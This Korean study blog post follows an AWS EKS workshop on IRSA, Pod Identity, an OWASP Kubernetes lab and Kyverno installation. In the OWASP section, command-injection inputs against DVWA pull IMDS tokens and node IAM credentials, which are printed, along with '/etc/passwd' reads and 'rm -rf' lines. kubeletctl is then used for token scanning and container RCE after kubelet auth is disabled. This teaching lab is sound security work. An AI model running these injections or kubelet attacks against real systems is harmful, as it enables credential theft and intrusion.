[AEWS] 2기 스터디: EKS의 인증/인가 절차2

⭐ 가시다(gasida) 님이 진행하는 AWS EKS Workshop 실습 스터디 게시글입니다.
게시글 상 소스코드, 사진에서 **굵게** 혹은 '''코드쉘''' 에 대한 부분이 들어가있을수도 있습니다 ⭐

 

IRSA 소개

파드가 특정 IAM 역할로 Assume 할때 토큰을 AWS에 전송하고, AWS는 토큰과 EKS IdP를 통해 해당 IAM 역할을 사용할 수 있는지 검증

• Node 에 Role을 Mapping 하지말고
• Pod 에 Role을 Mapping 해서 사용하겠다 라는 뜻

실습1: Pod를 만들고, SA Token 을 안만드는 실습

• SA 를 아무것도 설정하지않음(default로 생성)
• 해당 Pod 는 기동되면 s3 ls 명령어를 실행
• 그러나 권한이 없어서 Access Denied 된 모습(SA에 Token이 부여되어야함)

# 파드1 생성
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: eks-iam-test1
spec:
  containers:
    - name: my-aws-cli
      image: amazon/aws-cli:latest
      args: ['s3', 'ls']
  restartPolicy: Never
  automountServiceAccountToken: false
  terminationGracePeriodSeconds: 0
EOF

# 확인
kubectl get pod
kubectl describe pod

# 로그 확인
kubectl logs eks-iam-test1

# 파드1 삭제
kubectl delete pod eks-iam-test1

실습2: Pod 를 만들고, SA Token을 만드는 실습

# 파드2 생성
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: eks-iam-test2
spec:
  containers:
    - name: my-aws-cli
      image: amazon/aws-cli:latest
      command: ['sleep', '36000']
  restartPolicy: Never
  terminationGracePeriodSeconds: 0
EOF

# 확인
kubectl get pod
kubectl describe pod
kubectl get pod eks-iam-test2 -o yaml | kubectl neat | yh
kubectl exec -it eks-iam-test2 -- ls /var/run/secrets/kubernetes.io/serviceaccount
kubectl exec -it eks-iam-test2 -- cat /var/run/secrets/kubernetes.io/serviceaccount/token ;echo

# aws 서비스 사용 시도
kubectl exec -it eks-iam-test2 -- aws s3 ls

# 서비스 어카운트 토큰 확인
SA_TOKEN=$(kubectl exec -it eks-iam-test2 -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo $SA_TOKEN

SA_TOKEN 값을 그대로 Encoded 에 복붙해서 확인하기

# jwt 혹은 아래 JWT 웹 사이트 이용 https://jwt.io/
jwt decode $SA_TOKEN --json --iso8601
...

#헤더
{
  "alg": "RS256",
  "kid": "1a8fcaee12b3a8f191327b5e9b997487ae93baab"
}

# 페이로드 : OAuth2에서 쓰이는 aud, exp 속성 확인! > projectedServiceAccountToken 기능으로 토큰에 audience,exp 항목을 덧붙힘
## iss 속성 : EKS OpenID Connect Provider(EKS IdP) 주소 > 이 EKS IdP를 통해 쿠버네티스가 발급한 토큰이 유요한지 검증
{
  "aud": [
    "https://kubernetes.default.svc"  # 해당 주소는 k8s api의 ClusterIP 서비스 주소 도메인명, kubectl get svc kubernetes
  ],
  "exp": 1716619848,
  "iat": 1685083848,
  "iss": "https://oidc.eks.ap-northeast-2.amazonaws.com/id/F6A7523462E8E6CDADEE5D41DF2E71F6",
  "kubernetes.io": {
    "namespace": "default",
    "pod": {
      "name": "eks-iam-test2",
      "uid": "10dcccc8-a16c-4fc7-9663-13c9448e107a"
    },
    "serviceaccount": {
      "name": "default",
      "uid": "acb6c60d-0c5f-4583-b83b-1b629b0bdd87"
    },
    "warnafter": 1685087455
  },
  "nbf": 1685083848,
  "sub": "system:serviceaccount:default:default"
}

# 파드2 삭제
kubectl delete pod eks-iam-test2

실습3 : IRS정보를 확인(OIDC 정보)

kubernetes SA - AWS IAM 과 바인딩 시켜주는 과정

• cloudformation으로 생성됨

# Create an iamserviceaccount - AWS IAM role bound to a Kubernetes service account
eksctl create **iamserviceaccount** \
  --name **my-sa** \
  --namespace **default** \
  --cluster $CLUSTER_NAME \
  --approve \
  --attach-policy-arn $(aws iam list-policies --query 'Policies[?PolicyName==`AmazonS3ReadOnlyAccess`].Arn' --output text)

Mutate 가 create 할때 넣는부분

# 파드3번 생성
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: eks-iam-test3
spec:
  serviceAccountName: my-sa
  containers:
    - name: my-aws-cli
      image: amazon/aws-cli:latest
      command: ['sleep', '36000']
  restartPolicy: Never
  terminationGracePeriodSeconds: 0
EOF

# 해당 SA를 파드가 사용 시 mutatingwebhook으로 Env,Volume 추가함
kubectl get mutatingwebhookconfigurations pod-identity-webhook -o yaml | kubectl neat | yh

# 파드 생성 yaml에 없던 내용이 추가됨!!!!!
# Pod Identity Webhook은 mutating webhook을 통해 아래 Env 내용과 1개의 볼륨을 추가함
kubectl get pod eks-iam-test3
kubectl get pod eks-iam-test3 -o yaml | kubectl neat | yh
...
    volumeMounts: 
    - mountPath: /var/run/secrets/eks.amazonaws.com/serviceaccount
      name: aws-iam-token
      readOnly: true
  ...
  volumes: 
  - name: aws-iam-token
    projected: 
      sources: 
      - serviceAccountToken: 
          audience: sts.amazonaws.com
          expirationSeconds: 86400
          path: token
...

pod 내부에 get-caller-identity 는 실행 성공

kubectl exec -it eks-iam-test3 -- ls /var/run/secrets/eks.amazonaws.com/serviceaccount
token

kubectl exec -it eks-iam-test3 -- cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token ; echo
...

kubectl describe pod eks-iam-test3
...
Environment:
      AWS_STS_REGIONAL_ENDPOINTS:   regional
      AWS_DEFAULT_REGION:           ap-northeast-2
      AWS_REGION:                   ap-northeast-2
      AWS_ROLE_ARN:                 arn:aws:iam::911283464785:role/eksctl-myeks-addon-iamserviceaccount-default-Role1-GE2DZKJYWCEN
      AWS_WEB_IDENTITY_TOKEN_FILE:  /var/run/secrets/eks.amazonaws.com/serviceaccount/token
    Mounts:
      /var/run/secrets/eks.amazonaws.com/serviceaccount from aws-iam-token (ro)
      /var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-69rh8 (ro)
...
Volumes:
  aws-iam-token:
    Type:                    Projected (a volume that contains injected data from multiple sources)
    TokenExpirationSeconds:  86400
  kube-api-access-sn467:
    Type:                    Projected (a volume that contains injected data from multiple sources)
    TokenExpirationSeconds:  3607
    ConfigMapName:           kube-root-ca.crt
    ConfigMapOptional:       <nil>
    DownwardAPI:             true
...

# 파드에서 aws cli 사용 확인
eksctl get iamserviceaccount --cluster $CLUSTER_NAME
kubectl exec -it eks-iam-test3 -- aws sts get-caller-identity --query Arn
"arn:aws:sts::911283464785:assumed-role/eksctl-myeks-addon-iamserviceaccount-default-Role1-GE2DZKJYWCEN/botocore-session-1685179271"

# 되는 것고 안되는 것은 왜그런가?
kubectl exec -it eks-iam-test3 -- aws s3 ls
kubectl exec -it eks-iam-test3 -- aws ec2 describe-instances --region ap-northeast-2
kubectl exec -it eks-iam-test3 -- aws ec2 describe-vpcs --region ap-northeast-2

# 파드에 볼륨 마운트 2개 확인
kubectl get pod eks-iam-test3 -o json | jq -r '.spec.containers | .[].volumeMounts'
[
  {
    "mountPath": "/var/run/secrets/kubernetes.io/serviceaccount",
    "name": "kube-api-access-sn467",
    "readOnly": true
  },
  {
    "mountPath": "/var/run/secrets/eks.amazonaws.com/serviceaccount",
    "name": "aws-iam-token",
    "readOnly": true
  }
]

# aws-iam-token 볼륨 정보 확인 : JWT 토큰이 담겨져있고, exp, aud 속성이 추가되어 있음
kubectl get pod eks-iam-test3 -o json | jq -r '.spec.volumes[] | select(.name=="aws-iam-token")'
{
  "name": "aws-iam-token",
  "projected": {
    "defaultMode": 420,
    "sources": [
      {
        "serviceAccountToken": {
          "audience": "sts.amazonaws.com",
          "expirationSeconds": 86400,
          "path": "token"
        }
      }
    ]
  }
}

# api 리소스 확인
kubectl api-resources |grep hook
mutatingwebhookconfigurations                  admissionregistration.k8s.io/v1        false        MutatingWebhookConfiguration
validatingwebhookconfigurations                admissionregistration.k8s.io/v1        false        ValidatingWebhookConfiguration

#
kubectl explain mutatingwebhookconfigurations

#
kubectl get MutatingWebhookConfiguration
NAME                            WEBHOOKS   AGE
pod-identity-webhook            1          147m
vpc-resource-mutating-webhook   1          147m

# pod-identity-webhook 확인
kubectl describe MutatingWebhookConfiguration pod-identity-webhook 
kubectl get MutatingWebhookConfiguration pod-identity-webhook -o yaml | yh

# AWS_WEB_IDENTITY_TOKEN_FILE 확인
IAM_TOKEN=$(kubectl exec -it eks-iam-test3 -- cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token)
echo $IAM_TOKEN

# JWT 웹 확인 
{
  "aud": [
    "sts.amazonaws.com"
  ],
  "exp": 1685175662,
  "iat": 1685089262,
  "iss": "https://oidc.eks.ap-northeast-2.amazonaws.com/id/F6A7523462E8E6CDADEE5D41DF2E71F6",
  "kubernetes.io": {
    "namespace": "default",
    "pod": {
      "name": "eks-iam-test3",
      "uid": "73f66936-4d66-477a-b32b-853f7a1c22d9"
    },
    "serviceaccount": {
      "name": "my-sa",
      "uid": "3b31aa85-2718-45ed-8c1c-75ed012c1a68"
    }
  },
  "nbf": 1685089262,
  "sub": "system:serviceaccount:default:my-sa"
}

# env 변수 확인
kubectl get pod eks-iam-test3 -o json | jq -r '.spec.containers | .[].env'
[
  {
    "name": "AWS_STS_REGIONAL_ENDPOINTS",
    "value": "regional"
  },
  {
    "name": "AWS_DEFAULT_REGION",
    "value": "ap-northeast-2"
  },
  {
    "name": "AWS_REGION",
    "value": "ap-northeast-2"
  },
  {
    "name": "AWS_ROLE_ARN",
    "value": "arn:aws:iam::911283464785:role/eksctl-myeks-addon-iamserviceaccount-default-Role1-1MJUYW59O6QGH"
  },
  {
    "name": "AWS_WEB_IDENTITY_TOKEN_FILE",
    "value": "/var/run/secrets/eks.amazonaws.com/serviceaccount/token"
  }
]

지금까지 한 IRSA의 문제점: ODIC 값이 공개된 상태임

• AWS는 JWT 토큰의 유효성만 확인 하지만 토큰 파일과 서비스 계정에 지정된 실제 역할 간의 일관성을 보장하지는 않음 → Condition 잘못 설정 시, 토큰과 역할 ARN만 있다면 동일 토큰으로 다른 역할을 맡을 수 있음

이게 무슨 이야기냐면…

irsa 에서 만든건데, Condition에서 String으로 sts.amazonaws.com, system:serviceaccount:default:my-sa 로만 사용할 수 있게 설정해놓은 상태임.

• SA가 defualt ns 이며, 이름이 my-sa 인 것만 가능하게 설정해놓은상태

이게 진짜 문제가 많다고 하는게… IRSA 관리가 진짜 개빡셈

⇒ 그래서 나온게 Pod Identity 입니다

다음 실습을 위한 리소스 제거

#
kubectl delete pod eks-iam-test3
eksctl delete iamserviceaccount --cluster $CLUSTER_NAME --name my-sa --namespace default
eksctl get iamserviceaccount --cluster $CLUSTER_NAME
kubectl get sa

 

 

 

[신기능]EKS Pod Identity

• OIDC Provider 가 없음

eks-pod-identity-agent 설치

#
ADDON=eks-pod-identity-agent
aws eks describe-addon-versions \
    --addon-name $ADDON \
    --kubernetes-version 1.28 \
    --query "addons[].addonVersions[].[addonVersion, compatibilities[].defaultVersion]" \
    --output text
v1.2.0-eksbuild.1
True
v1.1.0-eksbuild.1
False
v1.0.0-eksbuild.1
False

# 모니터링
watch -d kubectl get pod -A

# 설치
aws eks create-addon --cluster-name $CLUSTER_NAME --addon-name eks-pod-identity-agent
혹은
eksctl create addon --cluster $CLUSTER_NAME --name eks-pod-identity-agent --version 1.2.0

eks-pod-identity-agent

• 특정한 권한이 필요한 Pod 가 eks-pod-identity-agent 에 요청해서 권한을 받는다!

• hostNetwork : true 라는 것 : pod network 를 사용하지 않고, host network 를 사용한다

# 확인
eksctl get addon --cluster $CLUSTER_NAME
kubectl -n kube-system get daemonset eks-pod-identity-agent
kubectl -n kube-system get pods -l app.kubernetes.io/name=eks-pod-identity-agent
kubectl get ds -n kube-system eks-pod-identity-agent -o yaml | kubectl neat | yh
...
      containers: 
      - args: 
        - --port
        - "80"
        - --cluster-name
        - myeks
        - --probe-port
        - "2703"
        command: 
        - /go-runner
        - /eks-pod-identity-agent
        - server
      ....
      ports: 
        - containerPort: 80
          name: proxy
          protocol: TCP
        - containerPort: 2703
          name: probes-port
          protocol: TCP
      ...
        securityContext: 
          capabilities: 
            add: 
            - CAP_NET_BIND_SERVICE
      ...
      hostNetwork: true
...

# 네트워크 정보 확인
## EKS Pod Identity Agent uses the hostNetwork of the node and it uses port 80 and port 2703 on a link-local address on the node. 
## This address is 169.254.170.23 for IPv4 and [fd00:ec2::23] for IPv6 clusters.
for node in $N1 $N2 $N3; do ssh ec2-user@$node sudo ss -tnlp | grep eks-pod-identit; echo "-----";done
for node in $N1 $N2 $N3; do ssh ec2-user@$node sudo ip -c route; done
for node in $N1 $N2 $N3; do ssh ec2-user@$node sudo ip -c -br -4 addr; done
for node in $N1 $N2 $N3; do ssh ec2-user@$node sudo ip -c addr; done

# 
eksctl create podidentityassociation \
--cluster $CLUSTER_NAME \
--namespace default \
--service-account-name s3-sa \
--role-name s3-eks-pod-identity-role \
--permission-policy-arns arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess \
--region $AWS_REGION

# 확인
kubectl get sa
eksctl get podidentityassociation --cluster $CLUSTER_NAME
ASSOCIATION ARN                                                                                                  NAMESPACE    SERVICE ACCOUNT NAME    IAM ROLE ARN
arn:aws:eks:ap-northeast-2:911283464785:podidentityassociation/myeks/a-blaanudo8dc1dbddw    default        s3-sa                        arn:aws:iam::911283464785:role/s3-eks-pod-identity-role

aws eks list-pod-identity-associations --cluster-name $CLUSTER_NAME | jq
{
  "associations": [
    {
      "clusterName": "myeks",
      "namespace": "default",
      "serviceAccount": "s3-sa",
      "associationArn": "arn:aws:eks:ap-northeast-2:911283464785:podidentityassociation/myeks/a-pm07a3bg79bqa3p24",
      "associationId": "a-pm07a3bg79bqa3p24"
    }
  ]
}

# ABAC 지원을 위해 sts:Tagsession 추가
aws iam get-role --query 'Role.AssumeRolePolicyDocument' --role-name s3-eks-pod-identity-role | jq .
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Service": "pods.eks.amazonaws.com"
      },
      "Action": [
        "sts:AssumeRole",
        "sts:TagSession"
      ]
    }
  ]
}

# 서비스어카운트, 파드 생성
kubectl create sa s3-sa

cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: eks-pod-identity
spec:
  serviceAccountName: s3-sa
  containers:
    - name: my-aws-cli
      image: amazon/aws-cli:latest
      command: ['sleep', '36000']
  restartPolicy: Never
  terminationGracePeriodSeconds: 0
EOF

#
kubectl get pod eks-pod-identity -o yaml | kubectl neat| yh
kubectl exec -it eks-pod-identity -- aws sts get-caller-identity --query Arn
kubectl exec -it eks-pod-identity -- aws s3 ls
kubectl exec -it eks-pod-identity -- env | grep AWS
WS_CONTAINER_CREDENTIALS_FULL_URI=http://169.254.170.23/v1/credentials
AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE=/var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token
AWS_STS_REGIONAL_ENDPOINTS=regional
AWS_DEFAULT_REGION=ap-northeast-2
AWS_REGION=ap-northeast-2

# 토큰 정보 확인
kubectl exec -it eks-pod-identity -- ls /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/
kubectl exec -it eks-pod-identity -- cat /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token

실습 리소스 삭제

eksctl delete podidentityassociation --cluster $CLUSTER_NAME --namespace default --service-account-name s3-sa
kubectl delete pod eks-pod-identity
kubectl delete sa s3-sa

 

 

 

5. OWASP Kubernetes Top Ten

EKS Pod 가 IMDS API 를 악용하는 시나리오

CERT_ARN 확인

CERT_ARN=aws acm list-certificates --query 'CertificateSummaryList[].CertificateArn[]' --output text
echo $CERT_ARN

mysql 배포

cat <<EOT > mysql.yaml
apiVersion: v1
kind: Secret
metadata:
  name: dvwa-secrets
type: Opaque
data:
  # s3r00tpa55
  ROOT_PASSWORD: czNyMDB0cGE1NQ==
  # dvwa
  DVWA_USERNAME: ZHZ3YQ==
  # p@ssword
  DVWA_PASSWORD: cEBzc3dvcmQ=
  # dvwa
  DVWA_DATABASE: ZHZ3YQ==
---
apiVersion: v1
kind: Service
metadata:
  name: dvwa-mysql-service
spec:
  selector:
    app: dvwa-mysql
    tier: backend
  ports:
    - protocol: TCP
      port: 3306
      targetPort: 3306
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: dvwa-mysql
spec:
  replicas: 1
  selector:
    matchLabels:
      app: dvwa-mysql
      tier: backend
  template:
    metadata:
      labels:
        app: dvwa-mysql
        tier: backend
    spec:
      containers:
        - name: mysql
          image: mariadb:10.1
          resources:
            requests:
              cpu: "0.3"
              memory: 256Mi
            limits:
              cpu: "0.3"
              memory: 256Mi
          ports:
            - containerPort: 3306
          env:
            - name: MYSQL_ROOT_PASSWORD
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: ROOT_PASSWORD
            - name: MYSQL_USER
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_USERNAME
            - name: MYSQL_PASSWORD
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_PASSWORD
            - name: MYSQL_DATABASE
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_DATABASE
EOT
kubectl apply -f mysql.yaml

dvwa 배포

cat <<EOT > dvwa.yaml
apiVersion: v1
kind: ConfigMap
metadata:
  name: dvwa-config
data:
  RECAPTCHA_PRIV_KEY: ""
  RECAPTCHA_PUB_KEY: ""
  SECURITY_LEVEL: "low"
  PHPIDS_ENABLED: "0"
  PHPIDS_VERBOSE: "1"
  PHP_DISPLAY_ERRORS: "1"
---
apiVersion: v1
kind: Service
metadata:
  name: dvwa-web-service
spec:
  selector:
    app: dvwa-web
  type: ClusterIP
  ports:
    - protocol: TCP
      port: 80
      targetPort: 80
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: dvwa-web
spec:
  replicas: 1
  selector:
    matchLabels:
      app: dvwa-web
  template:
    metadata:
      labels:
        app: dvwa-web
    spec:
      containers:
        - name: dvwa
          image: cytopia/dvwa:php-8.1
          ports:
            - containerPort: 80
          resources:
            requests:
              cpu: "0.3"
              memory: 256Mi
            limits:
              cpu: "0.3"
              memory: 256Mi
          env:
            - name: RECAPTCHA_PRIV_KEY
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: RECAPTCHA_PRIV_KEY
            - name: RECAPTCHA_PUB_KEY
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: RECAPTCHA_PUB_KEY
            - name: SECURITY_LEVEL
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: SECURITY_LEVEL
            - name: PHPIDS_ENABLED
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: PHPIDS_ENABLED
            - name: PHPIDS_VERBOSE
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: PHPIDS_VERBOSE
            - name: PHP_DISPLAY_ERRORS
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: PHP_DISPLAY_ERRORS
            - name: MYSQL_HOSTNAME
              value: dvwa-mysql-service
            - name: MYSQL_DATABASE
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_DATABASE
            - name: MYSQL_USERNAME
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_USERNAME
            - name: MYSQL_PASSWORD
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_PASSWORD
EOT
kubectl apply -f dvwa.yaml

ingress 배포

cat <<EOT > dvwa-ingress.yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  annotations:
    alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
    alb.ingress.kubernetes.io/group.name: study
    alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}, {"HTTP":80}]'
    alb.ingress.kubernetes.io/load-balancer-name: myeks-ingress-alb
    alb.ingress.kubernetes.io/scheme: internet-facing
    alb.ingress.kubernetes.io/ssl-redirect: "443"
    alb.ingress.kubernetes.io/success-codes: 200-399
    alb.ingress.kubernetes.io/target-type: ip
  name: ingress-dvwa
spec:
  ingressClassName: alb
  rules:
  - host: dvwa.$MyDomain
    http:
      paths:
      - backend:
          service:
            name: dvwa-web-service
            port:
              number: 80
        path: /
        pathType: Prefix
EOT
kubectl apply -f dvwa-ingress.yaml
echo -e "DVWA Web https://dvwa.$MyDomain"

• 웹 접속 admin / password → DB 구성을 위해 클릭 (재로그인) ⇒ admin / password

Command Injection 메뉴 클릭

• 실습 이미지에서 나온 토큰값에 주의. 이미지에서는

AQAEAPlr4DxeBJE1u1XgWtQj2vlg6F4l2mCzRmdGvlnixxgKuz8wbA== 값을 사용함

• 실습 이미지에서 나온 Node 값에 주의. 이미지에서는

eksctl-myeks-nodegroup-ng1-NodeInstanceRole-8mj3PaoIK748 값을 사용함

# 명령 실행 가능 확인
8.8.8.8 ; echo ; hostname
8.8.8.8 ; echo ; whoami

# IMDSv2 토큰 복사해두기
8.8.8.8 ; curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
AQAEACFn9eezuMlE-T5OHBsuAlOKh31pIq8UGOnRzzFfuhfbRGwSJA==

# EC2 Instance Profile (IAM Role) 이름 확인
8.8.8.8 ; curl -s -H "X-aws-ec2-metadata-token: AQAEACFn9eezuMlE-T5OHBsuAlOKh31pIq8UGOnRzzFfuhfbRGwSJA==" –v http://169.254.169.254/latest/meta-data/iam/security-credentials/
eksctl-myeks-nodegroup-ng1-NodeInstanceRole-kgZD1dU60nuF

# EC2 Instance Profile (IAM Role) 자격증명탈취 
8.8.8.8 ; curl -s -H "X-aws-ec2-metadata-token: AQAEACFn9eezuMlE-T5OHBsuAlOKh31pIq8UGOnRzzFfuhfbRGwSJA==" –v http://169.254.169.254/latest/meta-data/iam/security-credentials/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-kgZD1dU60nuF
{
  "Code" : "Success",
  "LastUpdated" : "2023-05-28T08:57:40Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA5ILF2FJITL3SDNHF",
  "SecretAccessKey" : "vYKlEwY2sEOhZuSLl3YHuuantav9wCQyuBXi/Utq",
  "Token" : "IQoJb3JpZ2luX2VjECEaDmFwLW5vcnRoZWFzdC0yIkcwRQIgFGjfFf2Mw+PBWyyiwdvz/F4BTA9jWFsxxOlqnuGr9zUCIQDpG/aispNmH33bKme7+nOcgixKwrZJAiElX6HD9ZybWyrMBQhaEAEaDDkxMTI4MzQ2NDc4NSIM852DvLWwQ2F0+h3YKqkFORn7pJxNAZ62USbc6+MwtCa+F2scLKsBgcAtsGVu9pMbQIqiFqojIw1BX+7mDu7V+wVcwifMNV+5idGSewHnAmflFRcFFDqmmaR963rZ5D+HVsdNnWWzEYYI7YRREsoHEu1qp4WfAolF0wry5bZUVuKW4nfRFI7gWdHjEvGf3Q8X6g42N4NL25APbk4f4L1G/NyfwSNtX6SH/KJOkEfICCl0dERTeTLKPmFEyRg6eW2GodR2EOmrzNgV526elVAGr0xR+dSKLHtueoI6RMQzVcWa7PTTfCpy5fdgfJddewrWcqiVbS5XdsFsSyAryYoQsa2Qv2OcC0kPOicDOsvx0gTg9Aa0hQ+jMmjoiKXYp/Tl5uNzrjyUyEEwm8BO54Bz40qAVJTRAKXFfgpg6ypNeGeS8tsrZ0zIGSlU0bzBCDwbtPkmwk8vposE0sbLZltFypdJOCZwkL4PeQGG3pIVoFvq0ldlw+YMDJ84iUcRGIsyyPT1a5dAkHC+NYcJ9dd02hGpEfJLhj5I6MbzFHc2GAbBivT7a6P+Td2yZEP8YbpTZi9c/yXptV6r+ALvpeSCFpsr0NrPNpesxyOXc0f30fGHiTaodZ/a1avjb9gyotM+LHgKELvBlPt48Hu8duoAclP+/BvLUJHQAbAgKXGcbxtyvZiFEvrw2DPlJNgDcp06CQMzUGtyboE6H4B8gZxqVUI0c8WcCvKpsCYTWqj8EUjFLuUvBu3EzN/z8XynFdoLV1GLR/HRFpYmcI0InP3ScHi/tFoxs3SqPjcDn0G0QVd+vix4CxwXUHGehR4pEKlUoUxUzpCcE61MgZIijM54wcb4CJ6lL0YQQT0hoJBkE574xa4OibT/6d8qRP+9LzlkJ8Ir2FLN2mcjluPYLNs/nYPdqbZ5xlPeML6vzKMGOrEBz8jfqk9F1TtITJs/+EIouyyG/1cEJFYFEcqJJZ1nDqvY4CY11HX1GU8GDtWyYfXGOejQK1dTB8RCOcYdfKYXQGHT3Dl7Y/zLrA69Si7Vs28oZfEHLd0BDp6sFY8u1zN6jxI6NLnICa00RbWkqI70SiAzLKWAektS5LgbDU7liyH90vJ0IfqnlntN4nNFyB40l8JFlpL7ks+mGzsDLlCZjXWdPjrX/emHek7pktkfnI9V",
  "Expiration" : "2023-05-28T15:03:24Z"
}

# 그외 다양한 명령 실행 가능
8.8.8.8; cat /etc/passwd
8.8.8.8; rm -rf /tmp/*

자격증명 탈취함(보안을 Low level 로 설정하기만 해도 취약하니까 답이없다는거임... )

• [myeks-bastion]

# 노드의 kubelet API 인증과 인가 관련 정보 확인
**ssh ec2-user@$N1 cat /etc/kubernetes/kubelet/kubelet-config.json | jq**
ssh ec2-user@$N1 cat /var/lib/kubelet/kubeconfig | yh

# 노드의 kubelet 사용 포트 확인 
**ssh ec2-user@$N1 sudo ss -tnlp | grep kubelet**
LISTEN 0      4096       127.0.0.1:10248      0.0.0.0:*    users:(("kubelet",pid=2940,fd=20))
LISTEN 0      4096               *:10250            *:*    users:(("kubelet",pid=2940,fd=21))

# 데모를 위해 awscli 파드 생성
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: **myawscli**
spec:
  #serviceAccountName: my-sa
  containers:
    - name: my-aws-cli
      image: amazon/aws-cli:latest
      command: ['sleep', '36000']
  restartPolicy: Never
  terminationGracePeriodSeconds: 0
EOF

# 파드 사용
kubectl exec -it **myawscli** -- **aws sts get-caller-identity --query Arn**
kubectl exec -it **myawscli** -- **aws s3 ls**
kubectl exec -it **myawscli** -- **aws ec2 describe-instances --region ap-northeast-2 --output table --no-cli-pager**
kubectl exec -it **myawscli** -- **aws ec2 describe-vpcs --region ap-northeast-2 --output table --no-cli-pager**

• [myeks-bastion-2] kubeletct 설치 및 사용 - 링크
  • 실습에서는 N1=192.168.1.17 으로 설정
  • 10250 은 kubelet의 버전

# 기존 kubeconfig 삭제
**rm -rf ~/.kube**

# 다운로드
**curl -LO https://github.com/cyberark/kubeletctl/releases/download/v1.11/kubeletctl_linux_amd64 && chmod a+x ./kubeletctl_linux_amd64 && mv ./kubeletctl_linux_amd64 /usr/local/bin/kubeletctl**
kubeletctl version
kubeletctl help

# 노드1 IP 변수 지정
N1=<각자 자신의 노드1의 PrivateIP>
N1=192.168.1.81

# 노드1 IP로 Scan
**kubeletctl scan --cidr $N1/32**

# 노드1에 kubelet API 호출 시도
**curl -k https://$N1:10250/pods; echo**
Unauthorized

• [myeks-bastion] → 노드1 접속 : kubelet-config.json 수정

# 노드1 접속
ssh ec2-user@$N1
-----------------------------
# 미흡한 인증/인가 설정으로 변경
sudo vi /etc/kubernetes/kubelet/kubelet-config.json
...
"authentication": {
    **"anonymous": {
      "enabled": true**
...
  },
  "**authorization**": {
    **"mode": "AlwaysAllow",**
...

# kubelet restart
**sudo systemctl restart kubelet**
systemctl status kubelet
-----------------------------

• [myeks-bastion-2] kubeletct 사용

# 파드 목록 확인
curl -s -k https://$N1:10250/pods | jq

# kubelet-config.json 설정 내용 확인
curl -k https://$N1:10250/configz | jq

**# kubeletct 사용**
# Return kubelet's configuration
kubeletctl -s $N1 configz | jq

# Get list of pods on the node
**kubeletctl -s $N1 pods**

# Scans for nodes with opened kubelet API > Scans for for all the tokens in a given Node
kubeletctl -s $N1 scan token

# 단, 아래 실습은 워커노드1에 myawscli 파드가 배포되어 있어야 실습이 가능. 물론 노드2~3에도 kubelet 수정하면 실습 가능함.
# kubelet API로 명령 실행 : <네임스페이스> / <파드명> / <컨테이너명>
curl -k https://$N1:10250/run/default/myawscli/my-aws-cli -d "cmd=**aws --version**"

# Scans for nodes with opened kubelet API > remote code execution on their containers
**kubeletctl -s $N1 scan rce**

# Run commands inside a container
**kubeletctl -s $N1 exec "/bin/bash" -n default -p myawscli -c my-aws-cli**
--------------------------------
export
aws --version
aws ec2 describe-vpcs --region ap-northeast-2 --output table --no-cli-pager
exit
--------------------------------

# Return resource usage metrics (such as container CPU, memory usage, etc.)
kubeletctl -s $N1 metrics

⇒ kubelet의 미흡한 설정으로 인해 데이터를 이만큼이나 탈취당할 수 있다.

6. Kyverno

전체 API 시나리오에서 Mutating admission, Validating admission 을 진행할 예정

설치

• kube-system ns 에 있는 것들은 Kyverno 에 적용하지 않게하는 설정(공식문서 참고)

# 설치
# EKS 설치 시 참고 https://kyverno.io/docs/installation/platform-notes/#notes-for-eks-users
# 모니터링 참고 https://kyverno.io/docs/monitoring/
cat << EOF > kyverno-value.yaml
config:
  resourceFiltersExcludeNamespaces: [ kube-system ]

admissionController:
  serviceMonitor:
    enabled: true

backgroundController:
  serviceMonitor:
    enabled: true

cleanupController:
  serviceMonitor:
    enabled: true

reportsController:
  serviceMonitor:
    enabled: true
EOF
kubectl create ns kyverno
helm repo add kyverno https://kyverno.github.io/kyverno/
helm install kyverno kyverno/kyverno --version 3.2.0-rc.3 -f kyverno-value.yaml -n kyverno

# 확인
kubectl get all -n kyverno
kubectl get crd | grep kyverno
kubectl get pod,svc -n kyverno

# (참고) 기본 인증서 확인 https://kyverno.io/docs/installation/customization/#default-certificates
# step-cli 설치 https://smallstep.com/docs/step-cli/installation/
wget https://dl.smallstep.com/cli/docs-cli-install/latest/step-cli_amd64.rpm
